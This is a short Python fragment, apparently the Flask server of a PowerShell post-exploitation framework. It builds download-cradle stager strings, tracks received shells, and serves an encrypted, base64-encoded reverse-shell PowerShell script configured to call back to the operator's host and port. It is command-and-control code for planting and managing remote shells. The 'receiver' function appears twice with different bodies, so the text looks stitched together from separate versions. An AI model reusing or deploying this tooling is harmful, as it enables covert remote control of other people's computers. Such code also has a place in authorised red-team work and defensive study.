def hub(): context = { "dl_str": stager_str(need_proxy=need_proxy, need_tlsv12=need_tlsv12), "modules": modules, "repositories": list(repositories.keys()), "SSL": args.SSL_KEY is not None, } return render_template("hub.html", **context)
def receiver(): context = { "dl_str": stager_str(flavor='reverse_shell', need_proxy=need_proxy, need_tlsv12=need_tlsv12), "SSL": args.SSL_KEY is not None, "shells": shell_receiver.shells, } return render_template("receiver.html", **context)
def reverse_shell(): """Spawn a reverse shell""" context = { "dl_cradle": stager_str().replace('$K', '$R'), "IP": args.URI_HOST, "delay": 10, # delay in seconds "lifetime": 3, # lifetime in days "PORT": str(args.REC_PORT), } result = render_template( "reverse-shell.ps1", **context, ).encode() result = b64encode(encrypt(result, key)) return Response(result, content_type='text/plain; charset=utf-8')
def receiver(): context = { "dl_str": stager_str(flavor='reverse_shell', need_proxy=need_proxy, need_tlsv12=need_tlsv12), "SSL": args.SSL_KEY is not None, "shells": shell_receiver.active_shells(), "AUTH": args.AUTH, "VERSION": __version__, } return render_template("receiver.html", **context)
def dlcradle(): global need_proxy, need_tlsv12 need_proxy = request.args['proxy'] == 'true' need_tlsv12 = request.args['tlsv12'] == 'true' return stager_str(need_proxy, need_tlsv12)